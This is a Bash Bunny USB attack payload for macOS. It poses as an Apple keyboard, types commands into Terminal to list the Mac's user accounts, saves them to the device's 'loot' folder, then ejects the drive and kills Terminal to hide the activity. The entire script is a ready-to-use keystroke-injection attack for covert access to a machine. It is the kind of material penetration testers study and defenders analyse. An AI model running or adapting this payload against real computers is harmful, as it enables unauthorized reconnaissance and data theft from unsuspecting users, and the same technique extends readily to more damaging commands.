#!/bin/bash
#
# Title:         Mac Get Users
# Author:        ericfri
# Version:       1.0
#
# Lists the users available on the Mac
# then stashes them in /loot/MacLoot/MacUsers/
#
# Amber..............Executing payload
# Green..............Finished
#

LED G R
ATTACKMODE HID VID_0X05AC PID_0X021E STORAGE

lootdir=loot/MacLoot/MacUsers
mkdir -p /root/udisk/$lootdir

QUACK GUI SPACE
QUACK DELAY 1000
QUACK STRING terminal
QUACK ENTER
QUACK DELAY 2500
QUACK STRING mkdir -p /Volumes/BashBunny/$lootdir
QUACK ENTER
QUACK DELAY 500
QUACK STRING dscl . list /Users \| grep -v '_' \> /Volumes/BashBunny/$lootdir/data.txt\; diskutil eject /Volumes/BashBunny\; killall Terminal
QUACK ENTER

# Sync filesystem
sync

# Green LED for finished
LED G
